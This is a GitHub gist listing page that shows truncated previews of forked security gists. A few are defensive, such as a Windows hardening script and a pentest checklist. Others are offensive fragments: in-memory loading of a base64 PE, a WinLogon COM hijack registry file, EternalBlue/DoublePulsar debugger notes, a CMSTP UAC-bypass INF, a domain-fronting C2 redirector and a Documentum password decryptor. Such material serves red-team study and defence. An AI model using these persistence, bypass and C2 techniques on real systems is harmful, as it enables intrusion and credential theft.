P4l1ndr0m / windows_hardening.cmd

Created May 31, 2020 08:40 — forked from mackwage/windows_hardening.cmd

Script to perform some hardening of Windows OS

	:: Windows 10 Hardening Script
	:: This is based mostly on my own personal research and testing. My objective is to secure/harden Windows 10 as much as possible while not impacting usability at all. (Think being able to run on this computer's of family members so secure them but not increase the chances of them having to call you to troubleshoot something related to it later on). References for virtually all settings can be found at the bottom. Just before the references section, you will always find several security settings commented out as they could lead to compatibility issues in common consumer setups but they're worth considering.
	:: Obligatory 'views are my own'. :)
	:: Thank you @jaredhaight for the Win Firewall config recommendations!
	:: Thank you @ricardojba for the DLL Safe Order Search reg key!
	:: Thank you @jessicaknotts for the help on testing Exploit Guard configs and checking privacy settings!
	:: Best script I've found for Debloating Windows 10: https://github.com/Sycnex/Windows10Debloater
	:

P4l1ndr0m / WAHH_Task_Checklist.md

Created April 19, 2018 15:04 — forked from jhaddix/Testing_Checklist.md

The Web Application Hacker's Handbook - Task Checklist - Github-Flavored Markdown

The Web Application Hacker's Handbook

Web Application Hacker's Handbook Task checklist as a Github-Flavored Markdown file

	$Domain = [AppDomain]::CurrentDomain
	$DynAssembly = New-Object System.Reflection.AssemblyName('TempAssembly')
	$AssemblyBuilder = $Domain.DefineDynamicAssembly($DynAssembly, [Reflection.Emit.AssemblyBuilderAccess]::Run)
	$ModuleBuilder = $AssemblyBuilder.DefineDynamicModule('TempModule')
	# Create a stub module that the in-memory module (i.e. this mimics the loading of a netmodule at runtime) will be loaded into.
	$ModuleBuilder2 = $AssemblyBuilder.DefineDynamicModule('hello.dll')
	$TypeBuilder = $ModuleBuilder.DefineType('TempClass', [Reflection.TypeAttributes]::Public)
	$TypeBuilder.CreateType()
	$HelloDllBytes = [Convert]::FromBase64String('TVqQAAMAAAAEAAAA//8AALgAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAgAAAAA4fug4AtAnNIbgBTM0hVGhpcyBwcm9ncmFtIGNhbm5vdCBiZSBydW4gaW4gRE9TIG1vZGUuDQ0KJAAAAAAAAABQRQAATAEDAJNPvloAAAAAAAAAAOAAAiELAQsAAAQAAAAGAAAAAAAAPiMAAAAgAAAAQAAAAAAAEAAgAAAAAgAABAAAAAAAAAAEAAAAAAAAAACAAAAAAgAAAAAAAAMAQIUAABAAABAAAAAAEAAAEAAAAAAAABAAAAAAAAAAAAAAAOQiAABXAAAAAEAAAJgCAAAAAAAAAAAAAAAAAAA

P4l1ndr0m / all.txt

Created March 17, 2018 08:09 — forked from jhaddix/all.txt

dnsall

This file has been truncated, but you can view the full file.

P4l1ndr0m / winlogon.reg

Created February 12, 2018 12:29 — forked from anonymous/winlogon.reg

WinLogon Windows 7 x64 COM Hijack

	Windows Registry Editor Version 5.00
	[HKEY_CURRENT_USER\SOFTWARE\Classes\AtomicRedTeam.1.00]
	@="AtomicRedTeam"
	[HKEY_CURRENT_USER\SOFTWARE\Classes\AtomicRedTeam.1.00\CLSID]
	@="{00000001-0000-0000-0000-0000FEEDACDC}"
	[HKEY_CURRENT_USER\SOFTWARE\Classes\AtomicRedTeam]
	@="AtomicRedTeam"
	[HKEY_CURRENT_USER\SOFTWARE\Classes\AtomicRedTeam\CLSID]
	@="{00000001-0000-0000-0000-0000FEEDACDC}"
	[HKEY_CURRENT_USER\SOFTWARE\Classes\CLSID\{00000001-0000-0000-0000-0000FEEDACDC}]

P4l1ndr0m / EternalBlue-SmbHandler.asm

Created February 10, 2018 08:41 — forked from msuiche/EternalBlue-SmbHandler.asm

DOUBLEPULSAR - ETERNALBLUE - SmbHandler()

	Thanks to https://zerosum0x0.blogspot.com/2017/04/doublepulsar-initial-smb-backdoor-ring.html#pulsar_step5 for the description

	kd> dps srv!SrvTransaction2DispatchTable
	91463530 9148b56f srv!SrvSmbOpen2
	91463534 91485fe4 srv!SrvSmbFindFirst2
	91463538 9148606d srv!SrvSmbFindNext2
	9146353c 91488a89 srv!SrvSmbQueryFsInformation
	91463540 914892f3 srv!SrvSmbSetFsInformation
	91463544 9147ff65 srv!SrvSmbQueryPathInformation
	91463548 91480c74 srv!SrvSmbSetPathInformation

P4l1ndr0m / UACBypass.inf

Created February 1, 2018 00:55 — forked from tylerapplebaum/UACBypass.inf

CMSTP.exe scripts and files

	; No longer needed - embedded in script now
	[version]
	Signature=$chicago$
	AdvancedINF=2.5

	[DefaultInstall]
	CustomDestination=CustInstDestSectionAllUsers
	RunPreSetupCommands=RunPreSetupCommandsSection

	[RunPreSetupCommandsSection]

P4l1ndr0m / Kali 2017.1 x64, Docker-ce Install script

Created December 25, 2017 21:09 — forked from nikallass/Kali 2017.1 x64, Docker-ce Install script

Kali 2017.1 x64, Docker-ce Install script

	#!/bin/bash

	# update apt-get
	export DEBIAN_FRONTEND="noninteractive"
	sudo apt-get update

	# remove previously installed Docker
	sudo apt-get remove docker docker-engine docker.io* lxc-docker*

	# install dependencies 4 cert

P4l1ndr0m / main.py

Created November 12, 2017 10:07 — forked from redteam-cyberark/main.py

DF_GAE

	import logging
	import urllib

	import webapp2
	import urllib2

	# v1.0.1 - updated to support POST request

	# change to your IP
	redirector = "(insert you C2 domain here)"

P4l1ndr0m / RecoverPW.java

Created August 10, 2017 07:37 — forked from h3xstream/RecoverPW.java

Decrypt Documentum database passwords.

	/*
	* (C) 2012 MSRoth - msroth.wordpress.com
	*
	* recoverPW v2
	*
	* This code will decrypt BOF and database passwords. It will NOT decrypt
	* inline user passwords.
	*
	* From the D6.5 EMC Documentum Content Server Administration Guide, p. 353:
	* "Passwords encrypted with encryptPassword cannot be decrypted explicitly

P4l1ndr0m